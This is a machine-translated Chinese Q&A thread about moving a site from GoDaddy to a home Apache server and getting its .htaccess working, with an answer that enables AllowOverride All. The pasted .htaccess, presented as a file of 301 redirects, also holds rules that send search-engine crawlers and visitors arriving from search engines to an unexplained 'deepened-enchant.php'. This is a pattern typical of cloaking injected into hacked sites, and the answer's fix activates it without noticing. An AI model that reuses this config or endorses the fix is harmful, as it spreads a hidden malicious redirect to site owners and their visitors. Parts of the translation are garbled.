从GoDaddy共享服务器切换到我自己的家庭服务器(具有多个虚拟网站)
在GoDaddy上,我将下面的.htacess用于301重定向,并且工作正常。它位于与index.html相同的目录中。当我在自己的服务器上使用相同的文件时,它不仅会失败,而且网站本身也无法正常工作。
我应该将.htaccess文件放在特定目录中吗(我尝试过www,public_html等)
当我删除.htaccess文件时,网站可以正常工作。
请帮助
RewriteEngine On
RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ deepened-enchant.php?$1 [L]
Redirect 301 /directory1/index.html https://example1.com
Redirect 301 /directory2/index.html https://example2.com
答案 0 :(得分:0)
所以我终于发现我必须启用.htaccess,默认情况下它是关闭的。
我编辑了/etc/apache2/apache2.conf,并在下面的代码中进行了更改
AllowOverride无
到
AllowOverride All
<Directory /var/www/>
Options FollowSymLinks
AllowOverride All
Require all granted
</Directory>
然后我重新启动apache
sudo systemctl restart apache2
并将我的.htaccess放在域的公共目录中。对我来说是
/var/www/example.com/public_html
然后一切正常